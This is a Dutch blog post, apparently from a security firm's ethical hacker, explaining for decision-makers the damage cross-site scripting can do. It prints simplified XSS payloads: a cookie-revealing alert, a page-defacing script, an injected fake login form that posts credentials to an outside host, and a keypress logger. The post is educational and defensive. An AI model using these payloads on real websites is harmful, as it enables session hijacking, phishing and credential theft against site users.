Rick Verdoes

Een gaatje’ in mijn agenda – deel 2

Van de technische theorie naar de begrijpelijke praktijk

Wij bij HackDefense proberen hedendaagse digitale technologie tot op het diepste niveau te begrijpen. We kunnen echt genieten van de technieken die achter een hack schuilgaan. Maar daarna is het de uitdaging om deze technische materie inzichtelijk te maken voor beslissers met én zonder ICT-achtergrond. Voor bestuurders en CISO’s die de strategie en tactiek moeten bepalen. En voor de beheerders en de technici die meer willen weten over de details van de techniek.

Impact van XSS aan de hand van 3 praktijkvoorbeelden

In onze vorige blog lieten we zien hoe je het oproepen van een simpele alert box kunt vergelijken met het ontbreken van de veiligheidsschakelaar van een pistool. Een alert box brengt slechts een kwetsbaarheid aan het licht. Met de volgende praktijkvoorbeelden proberen we de mogelijke schade die XSS kan aanrichten inzichtelijk te maken.

1. Sessies van andere gebruikers overnemen

De meeste webapplicaties onderhouden gebruikerssessies om de gebruiker te identificeren. Sessies worden geïdentificeerd met sessietokens, ook wel sessiecookies genoemd. Wanneer deze sessietokens niet goed beveiligd zijn, is het voor een aanvaller mogelijk om middels een XSS-kwetsbaarheid complexe scriptcode te injecteren. In het onderstaande voorbeeld wordt dit aangetoond met een alert box met daarin de sessietokens van de gebruiker. Dit is een versimpeld voorbeeld. In de werkelijkheid kan een aanvaller met complexere scriptcode de sessietokens naar zichzelf versturen.

<script>alert(document.cookie)</script>
Xss2 1

2. Content van de website aanpassen

Met XSS is het ook mogelijk om de content van een pagina aan te passen. Een aanvaller kan de pagina bijvoorbeeld zo veranderen dat de normale” pagina niet meer te bezoeken is. Onderstaand een versimpeld voorbeeld hiervan:

Xss2 2

(scriptcode: <script>document.body.innerHTML = 'Pagina is aangepast';</script>)

Nadat deze scriptcode is opgeslagen zal de pagina er als volgt uitzien:

Xss2 3

Nogmaals, dit is een zeer versimpeld voorbeeld om het begrijpelijk te maken dat een aanvaller de volledige controle heeft over de webbrowser. Met complexere code is het mogelijk een nepinlogpagina te maken die de inloggegevens vervolgens naar de aanvaller stuurt. Dit is beter bekend als phishing. 

Een voorbeeld. Laat je niet afschrikken door de technische scriptcode, het gaat erom dat deze phishing-pagina moeilijk van echt te onderscheiden is, omdat deze inlogpagina op de oorspronkelijke Davical website staat.

De geïnjecteerde code ziet er zo uit:

<script>document.body.innerHTML = '<h3>Phishing voorbeeld</h3><form action= "http://hackdefense.com">Username:<br><input type="text" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Login"></br>';</script><!--
Xss2 4

3. Alle toetsaanslagen registreren

Met XSS is het ook mogelijk voor de aanvaller om scriptcode te plaatsen waarmee alle toetsaanslagen die de gebruiker doet worden geregistreerd. Op deze manier kunnen aanvallers gevoelige informatie zoals wachtwoorden en creditcardnummers achterhalen. Onderstaande scriptcode laat zien hoe dat werkt.

<script>var l=""; document.onkeypress=function(e){ l+=e.key; console.log(l);}</script>
Xss2 5

En nu?

Wees gerust. Je kunt een dergelijke kwetsbaarheid voorkomen door invoer en uitvoer te valideren. Wil je daar meer over weten of ben je benieuwd wat wij met onze — ethische — hacker mindset voor jouw organisatie kunnen betekenen? Neem gerust contact met ons op, we denken graag met je mee.

Rick Verdoes, Senior Ethical Hacker en IT Security Advisor